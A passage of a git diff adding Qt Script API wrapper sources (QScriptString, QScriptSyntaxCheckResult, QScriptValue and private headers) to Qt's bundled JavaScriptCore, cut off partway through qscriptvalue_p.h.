+}
+
+QScriptStringPtr QScriptStringPrivate::get(const QScriptString& p)
+{
+    return p.d_ptr;
+}
+
+bool QScriptStringPrivate::isValid() const
+{
+    return m_string;
+}
+
+bool QScriptStringPrivate::operator==(const QScriptStringPrivate& other) const
+{
+    return isValid() && other.isValid() && JSStringIsEqual(m_string, other.m_string);
+}
+
+bool QScriptStringPrivate::operator!=(const QScriptStringPrivate& other) const
+{
+    return isValid() && other.isValid() && !JSStringIsEqual(m_string, other.m_string);
+}
+
+quint32 QScriptStringPrivate::toArrayIndex(bool* ok) const
+{
+    quint32 idx = QScriptConverter::toArrayIndex(m_string);
+    if (ok)
+        *ok = (idx != 0xffffffff);
+    return idx;
+}
+
+QString QScriptStringPrivate::toString() const
+{
+    return QScriptConverter::toString(m_string);
+}
+
+quint64 QScriptStringPrivate::id() const
+{
+    return reinterpret_cast<quint32>(m_string);
+}
+
+#endif // qscriptstring_p_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptsyntaxcheckresult.cpp b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptsyntaxcheckresult.cpp
new file mode 100644
index 0000000..2085f5b
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptsyntaxcheckresult.cpp
@@ -0,0 +1,142 @@
+/*
+    Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#include "config.h"
+
+#include "qscriptsyntaxcheckresult.h"
+#include "qscriptsyntaxcheckresult_p.h"
+
+/*!
+  \class QScriptSyntaxCheckResult
+
+  \brief The QScriptSyntaxCheckResult class provides the result of a script syntax check.
+
+  \ingroup script
+  \mainclass
+
+  QScriptSyntaxCheckResult is returned by QScriptEngine::checkSyntax() to
+  provide information about the syntactical (in)correctness of a script.
+*/
+
+/*!
+    \enum QScriptSyntaxCheckResult::State
+
+    This enum specifies the state of a syntax check.
+
+    \value Error The program contains a syntax error.
+    \value Intermediate The program is incomplete.
+    \value Valid The program is a syntactically correct Qt Script program.
+*/
+
+/*!
+  Constructs a new QScriptSyntaxCheckResult from the \a other result.
+*/
+QScriptSyntaxCheckResult::QScriptSyntaxCheckResult(const QScriptSyntaxCheckResult& other)
+    : d_ptr(other.d_ptr)
+{}
+
+/*!
+  Constructs a new QScriptSyntaxCheckResult from an internal representation.
+  \internal
+*/
+QScriptSyntaxCheckResult::QScriptSyntaxCheckResult(QScriptSyntaxCheckResultPrivate* d)
+    : d_ptr(d)
+{}
+
+/*!
+  Destroys this QScriptSyntaxCheckResult.
+*/
+QScriptSyntaxCheckResult::~QScriptSyntaxCheckResult()
+{}
+
+/*!
+  Assigns the \a other result to this QScriptSyntaxCheckResult, and returns a
+  reference to this QScriptSyntaxCheckResult.
+*/
+QScriptSyntaxCheckResult& QScriptSyntaxCheckResult::operator=(const QScriptSyntaxCheckResult& other)
+{
+    d_ptr = other.d_ptr;
+    return *this;
+}
+
+/*!
+  Returns the state of this QScriptSyntaxCheckResult.
+*/
+QScriptSyntaxCheckResult::State QScriptSyntaxCheckResult::state() const
+{
+    return d_ptr->state();
+}
+
+/*!
+  Returns the error line number of this QScriptSyntaxCheckResult, or -1 if
+  there is no error.
+
+  \sa state(), errorMessage()
+*/
+int QScriptSyntaxCheckResult::errorLineNumber() const
+{
+    return d_ptr->errorLineNumber();
+}
+
+/*!
+  Returns the error column number of this QScriptSyntaxCheckResult, or -1 if
+  there is no error.
+
+  \sa state(), errorLineNumber()
+*/
+int QScriptSyntaxCheckResult::errorColumnNumber() const
+{
+    return d_ptr->errorColumnNumber();
+}
+
+/*!
+  Returns the error message of this QScriptSyntaxCheckResult, or an empty
+  string if there is no error.
+
+  \sa state(), errorLineNumber()
+*/
+QString QScriptSyntaxCheckResult::errorMessage() const
+{
+    return d_ptr->errorMessage();
+}
+
+QScriptSyntaxCheckResultPrivate::~QScriptSyntaxCheckResultPrivate()
+{
+    if (m_exception)
+        JSValueUnprotect(m_engine->context(), m_exception);
+}
+
+QString QScriptSyntaxCheckResultPrivate::errorMessage() const
+{
+    if (m_exception)
+        return QScriptConverter::toString(JSValueToStringCopy(m_engine->context(), m_exception, /* exception */ 0));
+    return QString();
+}
+
+int QScriptSyntaxCheckResultPrivate::errorLineNumber() const
+{
+    if (!m_exception)
+        return -1;
+    // m_exception is an instance of the Exception so it has "line" attribute.
+    JSValueRef line = JSObjectGetProperty(m_engine->context(),
+                                          m_exception,
+                                          QScriptConverter::toString("line"),
+                                          /* exceptions */0);
+    return JSValueToNumber(m_engine->context(), line, /* exceptions */0);
+}
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptsyntaxcheckresult.h b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptsyntaxcheckresult.h
new file mode 100644
index 0000000..aa57744
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptsyntaxcheckresult.h
@@ -0,0 +1,50 @@
+/*
+    Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef qscriptsyntaxcheckresult_h
+#define qscriptsyntaxcheckresult_h
+
+#include "qtscriptglobal.h"
+#include <QtCore/qshareddata.h>
+
+class QScriptSyntaxCheckResultPrivate;
+class Q_JAVASCRIPT_EXPORT QScriptSyntaxCheckResult {
+public:
+    enum State {
+        Error,
+        Intermediate,
+        Valid
+    };
+
+    QScriptSyntaxCheckResult(const QScriptSyntaxCheckResult& other);
+    ~QScriptSyntaxCheckResult();
+    QScriptSyntaxCheckResult& operator=(const QScriptSyntaxCheckResult& other);
+
+    State state() const;
+    int errorLineNumber() const;
+    int errorColumnNumber() const;
+    QString errorMessage() const;
+
+private:
+    QScriptSyntaxCheckResult(QScriptSyntaxCheckResultPrivate* d);
+    QExplicitlySharedDataPointer<QScriptSyntaxCheckResultPrivate> d_ptr;
+
+    friend class QScriptSyntaxCheckResultPrivate;
+};
+#endif // qscriptsyntaxcheckresult_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptsyntaxcheckresult_p.h b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptsyntaxcheckresult_p.h
new file mode 100644
index 0000000..6e1a131
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptsyntaxcheckresult_p.h
@@ -0,0 +1,73 @@
+/*
+    Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef qscriptsyntaxcheckresult_p_h
+#define qscriptsyntaxcheckresult_p_h
+
+#include "qscriptconverter_p.h"
+#include "qscriptengine_p.h"
+#include "qscriptsyntaxcheckresult.h"
+#include <JavaScriptCore/JavaScript.h>
+#include <QtCore/qshareddata.h>
+
+class QScriptSyntaxCheckResultPrivate : public QSharedData {
+public:
+    static inline QScriptSyntaxCheckResult get(QScriptSyntaxCheckResultPrivate* p);
+    inline QScriptSyntaxCheckResultPrivate(const QScriptEnginePrivate* engine);
+    inline QScriptSyntaxCheckResultPrivate(const QScriptEnginePrivate* engine, JSObjectRef value);
+    ~QScriptSyntaxCheckResultPrivate();
+
+    inline QScriptSyntaxCheckResult::State state() const;
+    int errorLineNumber() const;
+    inline int errorColumnNumber() const;
+    QString errorMessage() const;
+private:
+    JSObjectRef m_exception;
+    QScriptEnginePtr m_engine;
+};
+
+QScriptSyntaxCheckResult QScriptSyntaxCheckResultPrivate::get(QScriptSyntaxCheckResultPrivate* p)
+{
+    return QScriptSyntaxCheckResult(p);
+}
+
+QScriptSyntaxCheckResultPrivate::QScriptSyntaxCheckResultPrivate(const QScriptEnginePrivate* engine)
+    : m_exception(0)
+    , m_engine(const_cast<QScriptEnginePrivate*>(engine))
+{}
+
+QScriptSyntaxCheckResultPrivate::QScriptSyntaxCheckResultPrivate(const QScriptEnginePrivate* engine, JSObjectRef value)
+    : m_exception(value)
+    , m_engine(const_cast<QScriptEnginePrivate*>(engine))
+{}
+
+QScriptSyntaxCheckResult::State QScriptSyntaxCheckResultPrivate::state() const
+{
+    // FIXME This function doesn't return QScriptSyntaxCheckResult::Intermediate
+    return m_exception ? QScriptSyntaxCheckResult::Error : QScriptSyntaxCheckResult::Valid;
+}
+
+int QScriptSyntaxCheckResultPrivate::errorColumnNumber() const
+{
+    // FIXME JSC C API doesn't expose the error column number.
+    return m_exception ? 1 : -1;
+}
+
+
+#endif // qscriptsyntaxcheckresult_p_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptvalue.cpp b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptvalue.cpp
new file mode 100644
index 0000000..127fe04
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptvalue.cpp
@@ -0,0 +1,556 @@
+/*
+    Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#include "config.h"
+
+#include "qscriptvalue.h"
+
+#include "qscriptengine.h"
+#include "qscriptengine_p.h"
+#include "qscriptvalue_p.h"
+#include <QtCore/qdebug.h>
+
+/*!
+    Constructs an invalid value.
+*/
+QScriptValue::QScriptValue()
+    : d_ptr(new QScriptValuePrivate())
+{
+}
+
+/*!
+  Constructs a new QScriptValue with a boolean \a value.
+*/
+QScriptValue::QScriptValue(bool value)
+    : d_ptr(new QScriptValuePrivate(value))
+{
+}
+
+/*!
+  Constructs a new QScriptValue with a number \a value.
+*/
+QScriptValue::QScriptValue(int value)
+    : d_ptr(new QScriptValuePrivate(value))
+{
+}
+
+/*!
+  Constructs a new QScriptValue with a number \a value.
+*/
+QScriptValue::QScriptValue(uint value)
+    : d_ptr(new QScriptValuePrivate(value))
+{
+}
+
+/*!
+  Constructs a new QScriptValue with a number \a value.
+*/
+QScriptValue::QScriptValue(qsreal value)
+    : d_ptr(new QScriptValuePrivate(value))
+{
+}
+
+/*!
+  Constructs a new QScriptValue with a string \a value.
+*/
+QScriptValue::QScriptValue(const QString& value)
+    : d_ptr(new QScriptValuePrivate(value))
+{
+}
+
+/*!
+  Constructs a new QScriptValue with a special \a value.
+*/
+QScriptValue::QScriptValue(SpecialValue value)
+    : d_ptr(new QScriptValuePrivate(value))
+{
+}
+
+/*!
+  Constructs a new QScriptValue with a string \a value.
+*/
+QScriptValue::QScriptValue(const char* value)
+    : d_ptr(new QScriptValuePrivate(QString::fromUtf8(value)))
+{
+}
+
+/*!
+    Block automatic convertion to bool
+    \internal
+*/
+QScriptValue::QScriptValue(void* d)
+{
+    Q_ASSERT(false);
+}
+
+/*!
+    Constructs a new QScriptValue from private
+    \internal
+*/
+QScriptValue::QScriptValue(QScriptValuePrivate* d)
+    : d_ptr(d)
+{
+}
+
+/*!
+  \obsolete
+
+  Constructs a new QScriptValue with the boolean \a value and
+  registers it with the script \a engine.
+*/
+QScriptValue::QScriptValue(QScriptEngine* engine, bool value)
+    : d_ptr(new QScriptValuePrivate(engine, value))
+{
+}
+
+/*!
+  \obsolete
+
+  Constructs a new QScriptValue with the integer \a value and
+  registers it with the script \a engine.
+*/
+QScriptValue::QScriptValue(QScriptEngine* engine, int value)
+    : d_ptr(new QScriptValuePrivate(engine, value))
+{
+}
+
+/*!
+  \obsolete
+
+  Constructs a new QScriptValue with the unsigned integer \a value and
+  registers it with the script \a engine.
+ */
+QScriptValue::QScriptValue(QScriptEngine* engine, uint value)
+    : d_ptr(new QScriptValuePrivate(engine, value))
+{
+}
+
+/*!
+  \obsolete
+
+  Constructs a new QScriptValue with the qsreal \a value and
+  registers it with the script \a engine.
+*/
+QScriptValue::QScriptValue(QScriptEngine* engine, qsreal value)
+    : d_ptr(new QScriptValuePrivate(engine, value))
+{
+}
+
+/*!
+  \obsolete
+
+  Constructs a new QScriptValue with the string \a value and
+  registers it with the script \a engine.
+*/
+QScriptValue::QScriptValue(QScriptEngine* engine, const QString& value)
+    : d_ptr(new QScriptValuePrivate(engine, value))
+{
+}
+
+/*!
+  \obsolete
+
+  Constructs a new QScriptValue with the string \a value and
+  registers it with the script \a engine.
+*/
+QScriptValue::QScriptValue(QScriptEngine* engine, const char* value)
+    : d_ptr(new QScriptValuePrivate(engine, QString::fromUtf8(value)))
+{
+}
+
+/*!
+  \obsolete
+
+  Constructs a new QScriptValue with the special \a value and
+  registers it with the script \a engine.
+*/
+QScriptValue::QScriptValue(QScriptEngine* engine, SpecialValue value)
+    : d_ptr(new QScriptValuePrivate(engine, value))
+{
+}
+
+/*!
+  Constructs a new QScriptValue that is a copy of \a other.
+
+  Note that if \a other is an object (i.e., isObject() would return
+  true), then only a reference to the underlying object is copied into
+  the new script value (i.e., the object itself is not copied).
+*/
+QScriptValue::QScriptValue(const QScriptValue& other)
+    : d_ptr(other.d_ptr)
+{
+}
+
+/*!
+    Destroys this QScriptValue.
+*/
+QScriptValue::~QScriptValue()
+{
+}
+
+/*!
+  Returns true if this QScriptValue is valid; otherwise returns
+  false.
+*/
+bool QScriptValue::isValid() const
+{
+    return d_ptr->isValid();
+}
+
+/*!
+  Returns true if this QScriptValue is of the primitive type Boolean;
+  otherwise returns false.
+
+  \sa toBool()
+*/
+bool QScriptValue::isBool() const
+{
+    return d_ptr->isBool();
+}
+
+/*!
+  \obsolete
+
+  Use isBool() instead.
+  Returns true if this QScriptValue is of the primitive type Boolean;
+  otherwise returns false.
+*/
+bool QScriptValue::isBoolean() const
+{
+    return d_ptr->isBool();
+}
+
+/*!
+  Returns true if this QScriptValue is of the primitive type Number;
+  otherwise returns false.
+
+  \sa toNumber()
+*/
+bool QScriptValue::isNumber() const
+{
+    return d_ptr->isNumber();
+}
+
+/*!
+  Returns true if this QScriptValue is of the primitive type Null;
+  otherwise returns false.
+
+  \sa QScriptEngine::nullValue()
+*/
+bool QScriptValue::isNull() const
+{
+    return d_ptr->isNull();
+}
+
+/*!
+  Returns true if this QScriptValue is of the primitive type String;
+  otherwise returns false.
+
+  \sa toString()
+*/
+bool QScriptValue::isString() const
+{
+    return d_ptr->isString();
+}
+
+/*!
+  Returns true if this QScriptValue is of the primitive type Undefined;
+  otherwise returns false.
+
+  \sa QScriptEngine::undefinedValue()
+*/
+bool QScriptValue::isUndefined() const
+{
+    return d_ptr->isUndefined();
+}
+
+/*!
+  Returns true if this QScriptValue is an object of the Error class;
+  otherwise returns false.
+
+  \sa QScriptContext::throwError()
+*/
+bool QScriptValue::isError() const
+{
+    return d_ptr->isError();
+}
+
+/*!
+  Returns true if this QScriptValue is of the Object type; otherwise
+  returns false.
+
+  Note that function values, variant values, and QObject values are
+  objects, so this function returns true for such values.
+
+  \sa toObject(), QScriptEngine::newObject()
+*/
+bool QScriptValue::isObject() const
+{
+    return d_ptr->isObject();
+}
+
+/*!
+  Returns true if this QScriptValue is a function; otherwise returns
+  false.
+
+  \sa call()
+*/
+bool QScriptValue::isFunction() const
+{
+    return d_ptr->isFunction();
+}
+
+/*!
+  Returns the string value of this QScriptValue, as defined in
+  \l{ECMA-262} section 9.8, "ToString".
+
+  Note that if this QScriptValue is an object, calling this function
+  has side effects on the script engine, since the engine will call
+  the object's toString() function (and possibly valueOf()) in an
+  attempt to convert the object to a primitive value (possibly
+  resulting in an uncaught script exception).
+
+  \sa isString()
+*/
+QString QScriptValue::toString() const
+{
+    return d_ptr->toString();
+}
+
+/*!
+  Returns the number value of this QScriptValue, as defined in
+  \l{ECMA-262} section 9.3, "ToNumber".
+
+  Note that if this QScriptValue is an object, calling this function
+  has side effects on the script engine, since the engine will call
+  the object's valueOf() function (and possibly toString()) in an
+  attempt to convert the object to a primitive value (possibly
+  resulting in an uncaught script exception).
+
+  \sa isNumber(), toInteger(), toInt32(), toUInt32(), toUInt16()
+*/
+qsreal QScriptValue::toNumber() const
+{
+    return d_ptr->toNumber();
+}
+
+/*!
+  Returns the boolean value of this QScriptValue, using the conversion
+  rules described in \l{ECMA-262} section 9.2, "ToBoolean".
+
+  Note that if this QScriptValue is an object, calling this function
+  has side effects on the script engine, since the engine will call
+  the object's valueOf() function (and possibly toString()) in an
+  attempt to convert the object to a primitive value (possibly
+  resulting in an uncaught script exception).
+
+  \sa isBool()
+*/
+bool QScriptValue::toBool() const
+{
+    return d_ptr->toBool();
+}
+
+/*!
+  \obsolete
+
+  Use toBool() instead.
+*/
+bool QScriptValue::toBoolean() const
+{
+    return d_ptr->toBool();
+}
+
+/*!
+  Returns the integer value of this QScriptValue, using the conversion
+  rules described in \l{ECMA-262} section 9.4, "ToInteger".
+
+  Note that if this QScriptValue is an object, calling this function
+  has side effects on the script engine, since the engine will call
+  the object's valueOf() function (and possibly toString()) in an
+  attempt to convert the object to a primitive value (possibly
+  resulting in an uncaught script exception).
+
+  \sa toNumber()
+*/
+qsreal QScriptValue::toInteger() const
+{
+    return d_ptr->toInteger();
+}
+
+/*!
+  Returns the signed 32-bit integer value of this QScriptValue, using
+  the conversion rules described in \l{ECMA-262} section 9.5, "ToInt32".
+
+  Note that if this QScriptValue is an object, calling this function
+  has side effects on the script engine, since the engine will call
+  the object's valueOf() function (and possibly toString()) in an
+  attempt to convert the object to a primitive value (possibly
+  resulting in an uncaught script exception).
+
+  \sa toNumber(), toUInt32()
+*/
+qint32 QScriptValue::toInt32() const
+{
+    return d_ptr->toInt32();
+}
+
+/*!
+  Returns the unsigned 32-bit integer value of this QScriptValue, using
+  the conversion rules described in \l{ECMA-262} section 9.6, "ToUint32".
+
+  Note that if this QScriptValue is an object, calling this function
+  has side effects on the script engine, since the engine will call
+  the object's valueOf() function (and possibly toString()) in an
+  attempt to convert the object to a primitive value (possibly
+  resulting in an uncaught script exception).
+
+  \sa toNumber(), toInt32()
+*/
+quint32 QScriptValue::toUInt32() const
+{
+    return d_ptr->toUInt32();
+}
+
+/*!
+  Returns the unsigned 16-bit integer value of this QScriptValue, using
+  the conversion rules described in \l{ECMA-262} section 9.7, "ToUint16".
+
+  Note that if this QScriptValue is an object, calling this function
+  has side effects on the script engine, since the engine will call
+  the object's valueOf() function (and possibly toString()) in an
+  attempt to convert the object to a primitive value (possibly
+  resulting in an uncaught script exception).
+
+  \sa toNumber()
+*/
+quint16 QScriptValue::toUInt16() const
+{
+    return d_ptr->toUInt16();
+}
+
+/*!
+  Calls this QScriptValue as a function, using \a thisObject as
+  the `this' object in the function call, and passing \a args
+  as arguments to the function. Returns the value returned from
+  the function.
+
+  If this QScriptValue is not a function, call() does nothing
+  and returns an invalid QScriptValue.
+
+  Note that if \a thisObject is not an object, the global object
+  (see \l{QScriptEngine::globalObject()}) will be used as the
+  `this' object.
+
+  Calling call() can cause an exception to occur in the script engine;
+  in that case, call() returns the value that was thrown (typically an
+  \c{Error} object). You can call
+  QScriptEngine::hasUncaughtException() to determine if an exception
+  occurred.
+
+  \snippet doc/src/snippets/code/src_script_qscriptvalue.cpp 2
+
+  \sa construct()
+*/
+QScriptValue QScriptValue::call(const QScriptValue& thisObject, const QScriptValueList& args)
+{
+    return d_ptr->call(thisObject.d_ptr.data(), args);
+}
+
+/*!
+  Returns the QScriptEngine that created this QScriptValue,
+  or 0 if this QScriptValue is invalid or the value is not
+  associated with a particular engine.
+*/
+QScriptEngine* QScriptValue::engine() const
+{
+    QScriptEnginePrivate* engine = d_ptr->engine();
+    if (engine)
+        return QScriptEnginePrivate::get(engine);
+    return 0;
+}
+
+/*!
+  Assigns the \a other value to this QScriptValue.
+
+  Note that if \a other is an object (isObject() returns true),
+  only a reference to the underlying object will be assigned;
+  the object itself will not be copied.
+*/
+QScriptValue& QScriptValue::operator=(const QScriptValue& other)
+{
+    d_ptr = other.d_ptr;
+    return *this;
+}
+
+/*!
+  Returns true if this QScriptValue is equal to \a other, otherwise
+  returns false. The comparison follows the behavior described in
+  \l{ECMA-262} section 11.9.3, "The Abstract Equality Comparison
+  Algorithm".
+
+  This function can return true even if the type of this QScriptValue
+  is different from the type of the \a other value; i.e. the
+  comparison is not strict.  For example, comparing the number 9 to
+  the string "9" returns true; comparing an undefined value to a null
+  value returns true; comparing a \c{Number} object whose primitive
+  value is 6 to a \c{String} object whose primitive value is "6"
+  returns true; and comparing the number 1 to the boolean value
+  \c{true} returns true. If you want to perform a comparison
+  without such implicit value conversion, use strictlyEquals().
+
+  Note that if this QScriptValue or the \a other value are objects,
+  calling this function has side effects on the script engine, since
+  the engine will call the object's valueOf() function (and possibly
+  toString()) in an attempt to convert the object to a primitive value
+  (possibly resulting in an uncaught script exception).
+
+  \sa strictlyEquals(), lessThan()
+*/
+bool QScriptValue::equals(const QScriptValue& other) const
+{
+    return d_ptr == other.d_ptr || d_ptr->equals(QScriptValuePrivate::get(other));
+}
+
+/*!
+  Returns true if this QScriptValue is equal to \a other using strict
+  comparison (no conversion), otherwise returns false. The comparison
+  follows the behavior described in \l{ECMA-262} section 11.9.6, "The
+  Strict Equality Comparison Algorithm".
+
+  If the type of this QScriptValue is different from the type of the
+  \a other value, this function returns false. If the types are equal,
+  the result depends on the type, as shown in the following table:
+
+    \table
+    \header \o Type \o Result
+    \row    \o Undefined  \o true
+    \row    \o Null       \o true
+    \row    \o Boolean    \o true if both values are true, false otherwise
+    \row    \o Number     \o false if either value is NaN (Not-a-Number); true if values are equal, false otherwise
+    \row    \o String     \o true if both values are exactly the same sequence of characters, false otherwise
+    \row    \o Object     \o true if both values refer to the same object, false otherwise
+    \endtable
+
+  \sa equals()
+*/
+bool QScriptValue::strictlyEquals(const QScriptValue& other) const
+{
+    return d_ptr == other.d_ptr || d_ptr->strictlyEquals(QScriptValuePrivate::get(other));
+}
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptvalue.h b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptvalue.h
new file mode 100644
index 0000000..d45aed3
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptvalue.h
@@ -0,0 +1,99 @@
+/*
+    Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef qscriptvalue_h
+#define qscriptvalue_h
+
+#include <QtCore/qlist.h>
+#include <QtCore/qshareddata.h>
+
+class QScriptEngine;
+class QScriptValuePrivate;
+
+class QScriptValue;
+typedef QList<QScriptValue> QScriptValueList;
+
+typedef double qsreal;
+
+class QScriptValue {
+public:    
+    enum SpecialValue {
+        NullValue,
+        UndefinedValue
+    };
+
+    QScriptValue();
+    QScriptValue(bool value);
+    QScriptValue(int value);
+    QScriptValue(uint value);
+    QScriptValue(qsreal value);
+    QScriptValue(const QString& value);
+    QScriptValue(const char* value);
+    QScriptValue(SpecialValue value);
+    QScriptValue(const QScriptValue& other);
+
+    QScriptValue(QScriptEngine* engine, bool value);
+    QScriptValue(QScriptEngine* engine, int value);
+    QScriptValue(QScriptEngine* engine, uint value);
+    QScriptValue(QScriptEngine* engine, qsreal value);
+    QScriptValue(QScriptEngine* engine, const QString& value);
+    QScriptValue(QScriptEngine* engine, const char* value);
+    QScriptValue(QScriptEngine* engine, SpecialValue value);
+
+    ~QScriptValue();
+
+    QScriptValue& operator=(const QScriptValue& other);
+    bool equals(const QScriptValue& other) const;
+    bool strictlyEquals(const QScriptValue& other) const;
+
+    QScriptEngine* engine() const;
+
+    bool isValid() const;
+    bool isBool() const;
+    bool isBoolean() const;
+    bool isNumber() const;
+    bool isFunction() const;
+    bool isNull() const;
+    bool isString() const;
+    bool isUndefined() const;
+    bool isObject() const;
+    bool isError() const;
+
+    QString toString() const;
+    qsreal toNumber() const;
+    bool toBool() const;
+    bool toBoolean() const;
+    qsreal toInteger() const;
+    qint32 toInt32() const;
+    quint32 toUInt32() const;
+    quint16 toUInt16() const;
+
+    QScriptValue call(const QScriptValue& thisObject = QScriptValue(),
+                      const QScriptValueList& args = QScriptValueList());
+
+private:
+    QScriptValue(void*);
+    QScriptValue(QScriptValuePrivate*);
+
+    QExplicitlySharedDataPointer<QScriptValuePrivate> d_ptr;
+
+    friend class QScriptValuePrivate;
+};
+
+#endif // qscriptvalue_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptvalue_p.h b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptvalue_p.h
new file mode 100644
index 0000000..e5c2a82
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptvalue_p.h
@@ -0,0 +1,754 @@
+/*
+    Copyright (C) 2008 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef qscriptvalue_p_h
+#define qscriptvalue_p_h
+
+#include "qscriptconverter_p.h"
+#include "qscriptengine_p.h"
+#include "qscriptvalue.h"
+#include <JavaScriptCore/JavaScript.h>
+#include <QtCore/qmath.h>
+#include <QtCore/qnumeric.h>
+#include <QtCore/qshareddata.h>
+#include <QtCore/qvarlengtharray.h>
+
+class QScriptEngine;
+class QScriptValue;
+
+/*
+  \internal
+  \class QScriptValuePrivate
+
+  Implementation of QScriptValue.
+  The implementation is based on a state machine. The states names are included in
+  QScriptValuePrivate::State. Each method should check for the current state and then perform a
+  correct action.
+
+  State:
+    Invalid -> QSVP is invalid, no assumptions should be made about class members (apart from m_value).
+    CString -> QSVP is created from QString or const char* and no JSC engine has been associated yet.
+        Current value is kept in m_string,
+    CNumber -> QSVP is created from int, uint, double... and no JSC engine has been bind yet. Current
+        value is kept in m_number
+    CBool -> QSVP is created from bool and no JSC engine has been associated yet. Current value is kept
+        in m_number
+    CSpecial -> QSVP is Undefined or Null, but a JSC engine hasn't been associated yet, current value
+        is kept in m_number (cast of QScriptValue::SpecialValue)
+    JSValue -> QSVP is associated with engine, but there is no information about real type, the state
+        have really short live cycle. Normally it is created as a function call result.
+    JSPrimitive -> QSVP is associated with engine, and it is sure that it isn't a JavaScript object.
+    JSObject -> QSVP is associated with engine, and it is sure that it is a JavaScript object.
+
+  Each state keep all necessary information to invoke all methods, if not it should be changed to
+  a proper state. Changed state shouldn't be reverted.
+*/
+
+class QScriptValuePrivate : public QSharedData {
+public:
+    inline static QScriptValuePrivate* get(const QScriptValue& q);
+    inline static QScriptValue get(const QScriptValuePrivate* d);
+    inline static QScriptValue get(QScriptValuePrivate* d);
+
+    inline ~QScriptValuePrivate();
+
+    inline QScriptValuePrivate();
+    inline QScriptValuePrivate(const QString& string);
+    inline QScriptValuePrivate(bool value);
+    inline QScriptValuePrivate(int number);
+    inline QScriptValuePrivate(uint number);
+    inline QScriptValuePrivate(qsreal number);
+    inline QScriptValuePrivate(QScriptValue::SpecialValue value);
+
